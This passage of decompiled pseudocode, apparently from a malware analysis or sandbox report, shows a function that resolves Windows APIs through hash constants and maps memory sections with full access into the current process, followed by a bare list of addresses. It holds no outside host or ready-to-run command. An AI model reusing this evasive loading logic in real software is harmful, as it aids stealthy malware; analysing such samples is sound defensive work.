									 *(_t833 + 0x4bc) = 0;
									_t620 = E6E6615C0(0x588ab3ea, 0xea812079);
									__eflags = _t620;
									if(_t620 == 0) {
										L17:
										_v140 =  *(_t833 + 0x4bc);
										_t621 = E6E6615C0(0x588ab3ea, 0xea812079);
										__eflags = _t621;
										if(_t621 == 0) {
											L26:
											_v136 =  *(_t833 + 0x4bc);
											__eflags = _v168;
											if(_v168 != 0) {
												E6E67BE30( &_v172, _t812);
											}
											__eflags = E6E67ED90(_t595) - 0x20;
											_push(0);
											_t336 =  ==  ? 0x6e688600 : 0x6e688c40;
											_push( ==  ? 0x6e688600 : 0x6e688c40);
											E6E661BA0(E6E67ED90(_t595) - 0x20, _t833 + 0xac0);
											E6E679B10( &_v240);
											E6E670B10( &_v124);
											E6E679670( &_v228, E6E679A90( &_v244, _t812));
											 *(_t833 + 0x40) = E6E679640( &_v248, 0);
											E6E65AC20(_t827,  *(_t833 + 0x44), E6E679640( &_v236, 0),  *((intOrPtr*)(_t833 + 0xab8)));
											_t834 = _t833 + 8;
											_t345 = E6E67ED90(_t595);
											__eflags = _t345 - 0x20;
											if(_t345 == 0x20) {
												E6E660B70(_t834 + 0x40, 0, 0x47c);
												_t835 = _t834 + 0xc;
												 *((intOrPtr*)(_t835 + 0x44c)) = E6E679650(_t812);
												 *((intOrPtr*)(_t835 + 0x444)) = 0x56473829;
												 *((intOrPtr*)(_t835 + 0x46c)) = E6E6615C0(0x588ab3ea, 0x9cac62c7);
												 *((intOrPtr*)(_t835 + 0x470)) = E6E6615C0(0x588ab3ea, 0xa8f2638d);
												 *((intOrPtr*)(_t835 + 0x474)) = E6E6615C0(0x588ab3ea, 0xd8cc7390);
												 *((intOrPtr*)(_t835 + 0x478)) = E6E6615C0(0x588ab3ea, 0xd16c9225);
												 *((intOrPtr*)(_t835 + 0x47c)) = E6E6615C0(0x588ab3ea, 0x649746ec);
												 *((intOrPtr*)(_t835 + 0x480)) = E6E6615C0(0x588ab3ea, 0xe5ef1afa);
												 *((intOrPtr*)(_t835 + 0x484)) = E6E6615C0(0x588ab3ea, 0x58d59bc9);
												 *((intOrPtr*)(_t835 + 0x488)) = E6E6615C0(0x588ab3ea, 0x35b39b2b);
												 *((intOrPtr*)(_t835 + 0x48c)) = E6E6615C0(0x588ab3ea, 0xe9fbf3a8);
												 *((intOrPtr*)(_t835 + 0x490)) = E6E6615C0(0x588ab3ea, 0xbcd9ca71);
												 *((intOrPtr*)(_t835 + 0x494)) = E6E6615C0(0x588ab3ea, 0x4faea65b);
												 *((intOrPtr*)(_t835 + 0x498)) = E6E6615C0(0x588ab3ea, 0xc0b67de0);
												 *((intOrPtr*)(_t835 + 0x49c)) = E6E6615C0(0x588ab3ea, 0x996e050f);
												 *((intOrPtr*)(_t835 + 0x4a0)) = E6E6615C0(0x588ab3ea, 0x81c9e4a7);
												 *((intOrPtr*)(_t835 + 0x4a4)) = E6E6615C0(0x588ab3ea, 0x97abe05f);
												_v1800 = E6E6615C0(0x588ab3ea, 0x82d274c4);
												_v1804 = E6E6615C0(0xa1310f65, 0x77be1f6);
												_v1808 = E6E6615C0(0xa1310f65, 0xe2d27ff4);
												_v1812 = E6E6615C0(0xa1310f65, 0x69121530);
												_t368 = E6E6615C0(0xa1310f65, 0xf1c64384);
												 *((intOrPtr*)(_t835 + 0x464)) = _v308;
												_v1816 = _t368;
												 *((intOrPtr*)(_t835 + 0x468)) =  *((intOrPtr*)(_t835 + 0xa98));
												E6E679710( &_v368,  &_v2960, 0x47c);
												_push(_t835 + 0xa60);
												_push(0x4bc);
												_t785 =  &_v392;
												_t370 = E6E65E900(_t595,  &_v392);
											} else {
												E6E660B70(_t834 + 0x4c0, 0, 0x4f0);
												_t838 = _t834 + 0xc;
												_v608 = E6E679650(_t812);
												 *((intOrPtr*)( &_v384 - 0xe8)) = 0x56473829;
												_push(0);
												E6E679350( &_v384);
												 *((intOrPtr*)(_t838 + 0x40)) = 0x3b4caff7;
												asm("pxor xmm0, xmm0");
												asm("movq [esp+0x48], xmm0");
												E6E679670( &_v388, E6E679650( &_v388) + 0x10);
												E6E679640( &_v392, E6E679650( &_v392) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												 *((intOrPtr*)(_t838 + 0x40)) = 0x9cac62c7;
												asm("movq [esp+0x48], xmm1");
												E6E679670( &_v396, E6E679650( &_v396) + 0x10);
												E6E679640( &_v400, E6E679650( &_v400) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												_v2820 = 0xa8f2638d;
												asm("movq [esp+0x48], xmm1");
												E6E679670(_t838 + 0x9b4, E6E679650(_t838 + 0x9b0) + 0x10);
												E6E679640( &_v408, E6E679650( &_v408) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												 *((intOrPtr*)(_t838 + 0x40)) = 0xd8cc7390;
												asm("movq [esp+0x48], xmm1");
												E6E679670( &_v412, E6E679650( &_v412) + 0x10);
												E6E679640( &_v416, E6E679650( &_v416) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												 *((intOrPtr*)(_t838 + 0x40)) = 0xd16c9225;
												asm("movq [esp+0x48], xmm1");
												E6E679670( &_v420, E6E679650( &_v420) + 0x10);
												E6E679640(_t838 + 0x9b4, E6E679650(_t838 + 0x9b0) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												 *((intOrPtr*)(_t838 + 0x40)) = 0x649746ec;
												asm("movq [esp+0x48], xmm1");
												E6E679670( &_v428, E6E679650( &_v428) + 0x10);
												E6E679640( &_v432, E6E679650( &_v432) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												 *((intOrPtr*)(_t838 + 0x40)) = 0xe5ef1afa;
												asm("movq [esp+0x48], xmm1");
												E6E679670( &_v436, E6E679650( &_v436) + 0x10);
												E6E679640(_t838 + 0x9b4, E6E679650(_t838 + 0x9b0) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												_v2860 = 0x58d59bc9;
												asm("movq [esp+0x48], xmm1");
												E6E679670( &_v444, E6E679650( &_v444) + 0x10);
												E6E679640( &_v448, E6E679650( &_v448) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												_v2868 = 0x35b39b2b;
												asm("movq [esp+0x48], xmm1");
												E6E679670( &_v452, E6E679650( &_v452) + 0x10);
												E6E679640( &_v456, E6E679650( &_v456) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												_v2876 = 0xe9fbf3a8;
												asm("movq [esp+0x48], xmm1");
												E6E679670( &_v460, E6E679650( &_v460) + 0x10);
												E6E679640( &_v464, E6E679650( &_v464) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												_v2884 = 0xbcd9ca71;
												asm("movq [esp+0x48], xmm1");
												E6E679670( &_v468, E6E679650( &_v468) + 0x10);
												E6E679640( &_v472, E6E679650( &_v472) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												 *((intOrPtr*)(_t838 + 0x40)) = 0x4faea65b;
												asm("movq [esp+0x48], xmm1");
												E6E679670( &_v476, E6E679650( &_v476) + 0x10);
												E6E679640( &_v480, E6E679650( &_v480) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												 *((intOrPtr*)(_t838 + 0x40)) = 0xc0b67de0;
												asm("movq [esp+0x48], xmm1");
												E6E679670( &_v484, E6E679650( &_v484) + 0x10);
												E6E679640( &_v488, E6E679650( &_v488) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												_v2908 = 0x996e050f;
												asm("movq [esp+0x48], xmm1");
												E6E679670( &_v492, E6E679650( &_v492) + 0x10);
												E6E679640( &_v496, E6E679650( &_v496) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												_v2916 = 0x81c9e4a7;
												asm("movq [esp+0x48], xmm1");
												E6E679670( &_v500, E6E679650( &_v500) + 0x10);
												E6E679640( &_v504, E6E679650( &_v504) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												 *((intOrPtr*)(_t838 + 0x40)) = 0x97abe05f;
												asm("movq [esp+0x48], xmm1");
												E6E679670( &_v508, E6E679650( &_v508) + 0x10);
												E6E679640( &_v512, E6E679650( &_v512) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												 *((intOrPtr*)(_t838 + 0x40)) = 0x82d274c4;
												asm("movq [esp+0x48], xmm1");
												E6E679670( &_v516, E6E679650( &_v516) + 0x10);
												__eflags = E6E679650( &_v520) + 0xfffffff0;
												E6E679640( &_v520, E6E679650( &_v520) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("movups [eax], xmm0");
												E6E681270(0x588ab3ea,  &_v524);
												E6E679640( &_v524, 0x10);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x910], xmm0");
												E6E679640( &_v528, 0x20);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x918], xmm0");
												E6E679640( &_v532, 0x30);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x920], xmm0");
												E6E679640( &_v536, 0x40);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x928], xmm0");
												E6E679640( &_v540, 0x50);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x930], xmm0");
												E6E679640( &_v544, 0x60);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x938], xmm0");
												E6E679640( &_v548, 0x70);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x940], xmm0");
												E6E679640( &_v552, 0x80);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x948], xmm0");
												E6E679640( &_v556, 0x90);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x950], xmm0");
												E6E679640( &_v560, 0xa0);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x958], xmm0");
												E6E679640( &_v564, 0xb0);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x960], xmm0");
												E6E679640( &_v568, 0xc0);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x968], xmm0");
												E6E679640( &_v572, 0xd0);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x970], xmm0");
												E6E679640( &_v576, 0xe0);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x978], xmm0");
												E6E679640( &_v580, 0xf0);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x980], xmm0");
												E6E679640( &_v584, 0x100);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x988], xmm0");
												E6E679640( &_v588, 0);
												asm("movq xmm0, [eax+0x8]");
												_t819 =  &_v544;
												asm("movdqu [esp+0x60], xmm0");
												E6E660B70( &_v544, 0, 0x30);
												_t835 = _t838 + 0xc;
												asm("movd xmm4, edi");
												asm("cdq");
												asm("pxor xmm0, xmm0");
												asm("movdqu [eax-0x950], xmm0");
												_v2992 = _t803;
												asm("movd xmm1, edx");
												asm("cdq");
												asm("movd xmm3, eax");
												asm("punpckldq xmm4, xmm1");
												asm("movd xmm2, edx");
												asm("punpckldq xmm3, xmm2");
												asm("movdqu [esp+0x70], xmm3");
												asm("movdqu [eax-0x960], xmm4");
												_v2988 = _t595;
												do {
													asm("movdqu xmm0, [esp+0x60]");
													asm("movq [esp], xmm0");
													asm("pxor xmm5, xmm5");
													_v2860 = 6;
													asm("movdqu xmm1, [esp+0x80]");
													asm("movq [esp+0xc], xmm1");
													asm("movdqu xmm2, [esp+0x90]");
													asm("movq [esp+0x14], xmm2");
													asm("movq [esp+0x1c], xmm5");
													asm("movdqu xmm3, [esp+0x70]");
													asm("movq xmm4, [0x6e6893d8]");
													asm("movq [esp+0x24], xmm3");
													asm("movq [esp+0x2c], xmm4");
													asm("movq [esp+0x34], xmm5");
													_t599 = E6E6804B0(_t803, _t819);
													_t803 =  *(_t835 + 0x9e0);
													_t819 =  *((intOrPtr*)(_t835 + 0x9e4));
													asm("movq xmm0, [esp+0x9f8]");
													__eflags =  ~( *(_t835 + 0x9e8)) + _t803 |  ~_v328 + _t819;
													asm("movdqu xmm1, [esp+0x90]");
													asm("paddq xmm1, xmm0");
													asm("movdqu [esp+0x90], xmm1");
													if(( ~( *(_t835 + 0x9e8)) + _t803 |  ~_v328 + _t819) != 0) {
														goto L35;
													} else {
														_push(0x400);
														E6E679350( &_v356);
														 *(_t835 + 0x5c) = E6E679640(_t835 + 0x9d4, 0);
														 *((intOrPtr*)(_t835 + 0x58)) = E6E679640(_t835 + 0x9d4, 0);
														E6E679650( &_v368);
														asm("movdqu xmm0, [esp+0x60]");
														asm("movd xmm6, ecx");
														asm("movq [esp], xmm0");
														_v2872 = 6;
														asm("pxor xmm7, xmm7");
														asm("movdqu xmm1, [esp+0x80]");
														asm("movq xmm2, [0x6e6893d0]");
														asm("movq [esp+0xc], xmm1");
														_v2860 = _t803;
														 *((intOrPtr*)(_t835 + 0x18)) = _t819;
														asm("movq [esp+0x1c], xmm2");
														asm("cdq");
														asm("movd xmm4, eax");
														asm("movd xmm3, edx");
														asm("cdq");
														asm("punpckldq xmm4, xmm3");
														asm("movq [esp+0x24], xmm4");
														asm("movd xmm5, edx");
														asm("punpckldq xmm6, xmm5");
														asm("movq [esp+0x2c], xmm6");
														asm("movq [esp+0x34], xmm7");
														_t562 = E6E6804B0(_t803, _t819);
														__eflags = _t562;
														if(_t562 != 0) {
															L56:
															E6E679510(_t835 + 0x9d0);
															_t803 = 0xe5ab9b45;
														} else {
															__eflags =  *( *(_t835 + 0x5c)) & 0x0000ffff;
															if(__eflags == 0) {
																goto L56;
															} else {
																E6E6683B0(_t835 + 0xa28);
																_t819 = _t835 + 0xa30;
																E6E672E60(_t835 + 0xa30, __eflags, _t835 + 0xa30, 0x5c);
																E6E671020(_t835 + 0xa30, _t835 + 0xa38);
																_t571 = E6E67D620( *((intOrPtr*)(_t835 + 0xa38)), E6E676040( *((intOrPtr*)(_t835 + 0xa38)), 0x7fffffff));
																E6E670B10(_t835 + 0xa38);
																E6E670B10(_t835 + 0xa30);
																E6E670B10(_t835 + 0xa28);
																E6E679510( &_v372);
																_t803 = _t571 ^ 0x38ba5c7b;
																__eflags = _t803;
															}
														}
														__eflags = _t803 - 0xa1310f65;
														if(__eflags == 0) {
															_t803 =  *(_t835 + 0x50);
															_t595 =  *(_t835 + 0x54);
															_t820 =  *(_t835 + 0x9e0);
															 *((intOrPtr*)(_t835 + 0x58)) =  *((intOrPtr*)(_t835 + 0x9e4));
														} else {
															goto L35;
														}
													}
													L37:
													E6E65DE60( &_v372, _t803, __eflags, _t820,  *((intOrPtr*)(_t835 + 0x58)));
													E6E67A110( &_v396);
													 *((intOrPtr*)(_t835 + 0x40)) = 0xe2d27ff4;
													asm("pxor xmm0, xmm0");
													asm("movq [esp+0x48], xmm0");
													E6E679670( &_v396, E6E679650( &_v396) + 0x10);
													E6E679640( &_v400, E6E679650( &_v400) + 0xfffffff0);
													asm("movups xmm0, [esp+0x40]");
													asm("pxor xmm1, xmm1");
													asm("movups [eax], xmm0");
													_v2820 = 0x69121530;
													asm("movq [esp+0x48], xmm1");
													E6E679670(_t835 + 0x9b4, E6E679650(_t835 + 0x9b0) + 0x10);
													E6E679640( &_v408, E6E679650( &_v408) + 0xfffffff0);
													asm("movups xmm0, [esp+0x40]");
													asm("pxor xmm1, xmm1");
													asm("movups [eax], xmm0");
													 *((intOrPtr*)(_t835 + 0x40)) = 0x77be1f6;
													asm("movq [esp+0x48], xmm1");
													E6E679670( &_v412, E6E679650( &_v412) + 0x10);
													E6E679640( &_v416, E6E679650( &_v416) + 0xfffffff0);
													asm("movups xmm0, [esp+0x40]");
													asm("pxor xmm1, xmm1");
													asm("movups [eax], xmm0");
													 *((intOrPtr*)(_t835 + 0x40)) = 0xf1c64384;
													asm("movq [esp+0x48], xmm1");
													E6E679670( &_v420, E6E679650( &_v420) + 0x10);
													__eflags = E6E679650(_t835 + 0x9b0) + 0xfffffff0;
													E6E679640(_t835 + 0x9b4, E6E679650(_t835 + 0x9b0) + 0xfffffff0);
													asm("movups xmm0, [esp+0x40]");
													_push( &_v428);
													_push(_v2820);
													_push(_t820);
													asm("movups [edx], xmm0");
													E6E65E780( &_v412, _t820, __eflags);
													E6E679640(_t835 + 0x9b4, 0);
													asm("movq xmm0, [eax+0x8]");
													asm("movq [esp+0x998], xmm0");
													E6E679640( &_v444, 0x10);
													asm("movq xmm0, [eax+0x8]");
													asm("movq [esp+0x9a0], xmm0");
													E6E679640( &_v448, 0x20);
													asm("movq xmm0, [eax+0x8]");
													asm("movq [esp+0x990], xmm0");
													E6E679640( &_v452, 0x30);
													asm("movq xmm0, [eax+0x8]");
													asm("movq [ecx-0x18], xmm0");
													E6E679510(_t835 + 0x9c0);
													E6E679510( &_v456);
													asm("cdq");
													asm("movd xmm1, eax");
													asm("movd xmm0, edx");
													asm("cdq");
													asm("movd xmm3, eax");
													asm("punpckldq xmm1, xmm0");
													asm("movq [esp+0x900], xmm1");
													asm("movd xmm2, edx");
													asm("punpckldq xmm3, xmm2");
													asm("movq [esp+0x908], xmm3");
													E6E679710( &_v280, _t835 + 0x4c4, 0x4f0);
													_t785 = _t835 + 0xa58;
													_t370 = E6E65ACD0(_t595, _t835 + 0xa58, __eflags, 0x5c8,  &_v288);
													goto L38;
													L35:
													__eflags = _t599;
												} while (_t599 == 0);
												_t820 = 0;
												__eflags = 0;
												_t803 =  *(_t835 + 0x50);
												_t595 =  *(_t835 + 0x54);
												 *((intOrPtr*)(_t835 + 0x58)) = 0;
												goto L37;
											}
											L38:
											_t817 = _t370;
											__eflags = _t817;
											if(_t817 != 0) {
												__eflags = _t595;
												_push(0);
												_t597 =  !=  ? _t595 + 0xc : _t595;
												_push( !=  ? _t595 + 0xc : _t595);
												_t387 = E6E681A80(_t785, _t595,  &_v296, 0x2710);
												_t835 = _t835 + 0x10;
												_t595 = 0;
												__eflags = _t387;
												_t817 =  !=  ? 0 : _t817;
											}
											__eflags = _v160;
											if(_v160 == 0) {
												L45:
												__eflags = _v156;
												if(_v156 == 0) {
													L50:
													E6E682530(_t595,  &_v296, _t785, _t803, _t817);
													E6E679510( &_v216);
													E6E679510(_t835 + 0xa50);
													E6E679510( &_v248);
													E6E681F40( &_v152, _t785, _t817);
													return _t817;
												} else {
													_t785 = E6E6615C0(0x588ab3ea, 0xea812079);
													__eflags = _t785;
													if(_t785 != 0) {
														_t595 = 0;
														__eflags = 0;
														 *_t785(_t803, _v156, 0xffffffff,  &_v176, 0, 0, 1);
													}
													_t379 = E6E6615C0(0x588ab3ea, 0x35b39b2b);
													__eflags = _t379;
													if(_t379 == 0) {
														goto L50;
													} else {
														_push(_v176);
														asm("int3");
														return _t379;
													}
												}
											} else {
												_t785 = E6E6615C0(0x588ab3ea, 0xea812079);
												__eflags = _t785;
												if(_t785 != 0) {
													_t595 = 0;
													__eflags = 0;
													 *_t785(_t803, _v160, 0xffffffff,  &_v176, 0, 0, 1);
												}
												_t383 = E6E6615C0(0x588ab3ea, 0x35b39b2b);
												__eflags = _t383;
												if(_t383 == 0) {
													goto L45;
												} else {
													_push(_v176);
													asm("int3");
													return _t383;
												}
											}
										} else {
											_t783 = _t833 + 0x4bc;
											 *_t621(0xffffffff, _v276, _t803, _t833 + 0x4bc, 0, 0, 2);
											__eflags = 0;
											if(0 == 0) {
												goto L26;
											} else {
												__eflags = _v196;
												if(_v196 != 0) {
													E6E67BE30(_t833 + 0xa78, _t812);
												}
												__eflags = _v168;
												if(_v168 == 0) {
													goto L54;
												} else {
													_t585 = E6E6615C0(0x588ab3ea, 0xea812079);
													__eflags = _t585;
													if(_t585 == 0) {
														_t586 = E6E6615C0(0x588ab3ea, 0x35b39b2b);
														__eflags = _t586;
														if(_t586 == 0) {
															goto L54;
														} else {
															_push( *(_t833 + 0x40));
															asm("int3");
															return _t586;
														}
													} else {
														__eflags = 0;
														_push(1);
														_push(0);
														_push(0);
														_push(_t833 + 0x40);
														_push(0xffffffff);
														_push(_v168);
														_push(_t803);
														asm("int3");
														return _t585;
													}
												}
											}
										}
									} else {
										_t783 = _t833 + 0x4bc;
										 *_t620(0xffffffff, _v172, _t803, _t833 + 0x4bc, 0, 0, 2);
										__eflags = 0;
										if(0 == 0) {
											goto L17;
										} else {
											__eflags = _v196;
											if(_v196 != 0) {
												goto L53;
											} else {
											}
											goto L54;
										}
									}
								} else {
									_push(_v160);
									_push(0xffffffff);
									asm("int3");
									return _t329;
								}
							}
						} else {
							__eflags = _v128;
							if(_v128 != 0) {
								L53:
								E6E67BE30(_t833 + 0xa78, _t812);
							} else {
							}
							L54:
							E6E682530(_t595, _t833 + 0xa10, _t783, _t803, _t812);
							E6E679510( &_v224);
							E6E679510( &_v240);
							E6E679510(_t833 + 0xa40);
							E6E681F40( &_v160, _t783, _t812);
							__eflags = 0;
							return 0;
						}
					} else {
						__eflags = 0;
						_push(0);
						_push(0x8000000);
						_push(4);
						_push(_t833 + 0xa90);
						_push(0);
						_push(0xf001f);
						_push(_t833 + 0xaa4);
						asm("int3");
						return _t317;
					}
				} else {
					E6E681F40( &_v72, 0x1d, _t812);
					return 1;
				}
			}

0x6e651571
0x6e651577
0x6e651579
0x6e65157f
0x6e651581
0x6e651592
0x6e651597
0x6e6515a7
0x6e6515b3
0x6e6515c8
0x6e6515e8
0x6e6515f1
0x6e6515f6
0x6e6515ff
0x6e651604
0x6e65160d
0x6e651612
0x6e651614
0x6e651617
0x6e65161a
0x6e65161f
0x6e651621
0x6e651625
0x6e65162a
0x6e65162a
0x6e65162f
0x6e651631
0x6e651634
0x6e651639
0x6e65163a
0x6e651642
0x6e651644
0x6e651649
0x6e651654
0x6e651658
0x6e651660
0x6e651670
0x6e651681
0x6e651686
0x6e651688
0x6e6516b2
0x6e6516c8
0x6e6516cd
0x6e6516d2
0x6e6516e9
0x6e6516f0
0x6e6516f7
0x6e6516fe
0x6e651714
0x6e651716
0x6e651718
0x6e6526f9
0x6e6526fd
0x6e652701
0x6e652706
0x6e65270c
0x6e652737
0x6e65273b
0x6e65273d
0x6e65273f
0x00000000
0x6e652745
0x6e652745
0x6e65274d
0x00000000
0x00000000
0x00000000
0x6e65274d
0x6e65171e
0x6e65171e
0x6e651727
0x6e65173e
0x6e651743
0x6e651750
0x6e651755
0x6e651757
0x6e651764
0x6e65177e
0x6e651780
0x6e651782
0x6e6517b5
0x6e6517bc
0x6e6517d2
0x6e6517d4
0x6e6517d6
0x6e65186a
0x6e651871
0x6e651878
0x6e651880
0x6e651889
0x6e651889
0x6e651895
0x6e6518a2
0x6e6518a4
0x6e6518a7
0x6e6518b0
0x6e6518c3
0x6e6518cf
0x6e6518e8
0x6e6518fb
0x6e651912
0x6e651917
0x6e65191c
0x6e651921
0x6e651924
0x6e6527e7
0x6e6527ec
0x6e6527f6
0x6e6527fd
0x6e652817
0x6e65282d
0x6e652843
0x6e652859
0x6e65286f
0x6e652885
0x6e65289b
0x6e6528b1
0x6e6528c7
0x6e6528dd
0x6e6528f3
0x6e652909
0x6e65291f
0x6e652935
0x6e65294b
0x6e652961
0x6e652977
0x6e65298d
0x6e6529a3
0x6e6529b4
0x6e6529c0
0x6e6529ce
0x6e6529d5
0x6e6529ed
0x6e6529fb
0x6e6529fc
0x6e652a01
0x6e652a08
0x6e65192a
0x6e651939
0x6e65193e
0x6e651948
0x6e651956
0x6e651960
0x6e651962
0x6e651967
0x6e651976
0x6e65197a
0x6e651990
0x6e6519ac
0x6e6519b1
0x6e6519bd
0x6e6519c1
0x6e6519c4
0x6e6519cc
0x6e6519e2
0x6e6519fe
0x6e651a03
0x6e651a0f
0x6e651a13
0x6e651a16
0x6e651a1e
0x6e651a34
0x6e651a50
0x6e651a55
0x6e651a61
0x6e651a65
0x6e651a68
0x6e651a70
0x6e651a86
0x6e651aa2
0x6e651aa7
0x6e651ab3
0x6e651ab7
0x6e651aba
0x6e651ac2
0x6e651ad8
0x6e651af4
0x6e651af9
0x6e651b05
0x6e651b09
0x6e651b0c
0x6e651b14
0x6e651b2a
0x6e651b46
0x6e651b4b
0x6e651b57
0x6e651b5b
0x6e651b5e
0x6e651b66
0x6e651b7c
0x6e651b98
0x6e651b9d
0x6e651ba9
0x6e651bad
0x6e651bb0
0x6e651bb8
0x6e651bce
0x6e651bea
0x6e651bef
0x6e651bfb
0x6e651bff
0x6e651c02
0x6e651c0a
0x6e651c20
0x6e651c3c
0x6e651c41
0x6e651c4d
0x6e651c51
0x6e651c54
0x6e651c5c
0x6e651c72
0x6e651c8e
0x6e651c93
0x6e651c9f
0x6e651ca3
0x6e651ca6
0x6e651cae
0x6e651cc4
0x6e651ce0
0x6e651ce5
0x6e651cf1
0x6e651cf5
0x6e651cf8
0x6e651d00
0x6e651d16
0x6e651d32
0x6e651d37
0x6e651d43
0x6e651d47
0x6e651d4a
0x6e651d52
0x6e651d68
0x6e651d84
0x6e651d89
0x6e651d95
0x6e651d99
0x6e651d9c
0x6e651da4
0x6e651dba
0x6e651dd6
0x6e651ddb
0x6e651de7
0x6e651deb
0x6e651dee
0x6e651df6
0x6e651e0c
0x6e651e28
0x6e651e2d
0x6e651e39
0x6e651e3d
0x6e651e40
0x6e651e48
0x6e651e5e
0x6e651e7a
0x6e651e7f
0x6e651e8b
0x6e651e8f
0x6e651e92
0x6e651e9a
0x6e651eb0
0x6e651ec1
0x6e651ecc
0x6e651ed1
0x6e651ee2
0x6e651ee5
0x6e651ef3
0x6e651ef8
0x6e651efd
0x6e651f0f
0x6e651f14
0x6e651f19
0x6e651f2b
0x6e651f30
0x6e651f35
0x6e651f47
0x6e651f4c
0x6e651f51
0x6e651f63
0x6e651f68
0x6e651f6d
0x6e651f7f
0x6e651f84
0x6e651f89
0x6e651f9b
0x6e651fa0
0x6e651fa5
0x6e651fba
0x6e651fbf
0x6e651fc4
0x6e651fd9
0x6e651fde
0x6e651fe3
0x6e651ff8
0x6e651ffd
0x6e652002
0x6e652017
0x6e65201c
0x6e652021
0x6e652036
0x6e65203b
0x6e652040
0x6e652055
0x6e65205a
0x6e65205f
0x6e652074
0x6e652079
0x6e65207e
0x6e652093
0x6e652098
0x6e65209d
0x6e6520b2
0x6e6520b7
0x6e6520bc
0x6e6520ce
0x6e6520d3
0x6e6520d8
0x6e6520df
0x6e6520ea
0x6e6520ef
0x6e6520f4
0x6e6520f8
0x6e6520f9
0x6e652104
0x6e65210c
0x6e652110
0x6e652114
0x6e652115
0x6e652119
0x6e65211d
0x6e652121
0x6e652125
0x6e65212b
0x6e652133
0x6e652137
0x6e652137
0x6e65213d
0x6e652142
0x6e652146
0x6e65214e
0x6e652157
0x6e65215d
0x6e652166
0x6e65216c
0x6e652172
0x6e652178
0x6e652180
0x6e652186
0x6e65218c
0x6e652197
0x6e6521ab
0x6e6521b4
0x6e6521bd
0x6e6521c6
0x6e6521c8
0x6e6521d1
0x6e6521d5
0x6e6521de
0x00000000
0x6e6521e4
0x6e6521e4
0x6e6521f0
0x6e652203
0x6e652215
0x6e652220
0x6e652227
0x6e65222d
0x6e652231
0x6e652236
0x6e65223e
0x6e652242
0x6e65224b
0x6e652253
0x6e652259
0x6e65225d
0x6e652261
0x6e65226b
0x6e65226c
0x6e652272
0x6e652276
0x6e652277
0x6e65227b
0x6e652281
0x6e652285
0x6e652289
0x6e65228f
0x6e652295
0x6e65229a
0x6e65229c
0x6e6527c5
0x6e6527cc
0x6e6527d1
0x6e6522a2
0x6e6522a9
0x6e6522ab
0x00000000
0x6e6522b1
0x6e6522bb
0x6e6522c0
0x6e6522d1
0x6e6522e0
0x6e6522fc
0x6e65230a
0x6e652311
0x6e65231d
0x6e652329
0x6e65232e
0x6e65232e
0x6e65232e
0x6e6522ab
0x6e652334
0x6e65233a
0x6e6527ad
0x6e6527b1
0x6e6527b5
0x6e6527bc
0x00000000
0x00000000
0x00000000
0x6e65233a
0x6e652356
0x6e652364
0x6e652370
0x6e652375
0x6e652384
0x6e652388
0x6e65239e
0x6e6523ba
0x6e6523bf
0x6e6523cb
0x6e6523cf
0x6e6523d2
0x6e6523da
0x6e6523f0
0x6e65240c
0x6e652411
0x6e65241d
0x6e652421
0x6e652424
0x6e65242c
0x6e652442
0x6e65245e
0x6e652463
0x6e65246f
0x6e652473
0x6e652476
0x6e65247e
0x6e652494
0x6e6524a5
0x6e6524b0
0x6e6524b7
0x6e6524c3
0x6e6524c4
0x6e6524c8
0x6e6524c9
0x6e6524d5
0x6e6524e3
0x6e6524e8
0x6e6524ed
0x6e6524ff
0x6e652504
0x6e652509
0x6e65251b
0x6e652520
0x6e652525
0x6e652537
0x6e65253c
0x6e652548
0x6e65254d
0x6e652559
0x6e652565
0x6e652566
0x6e652571
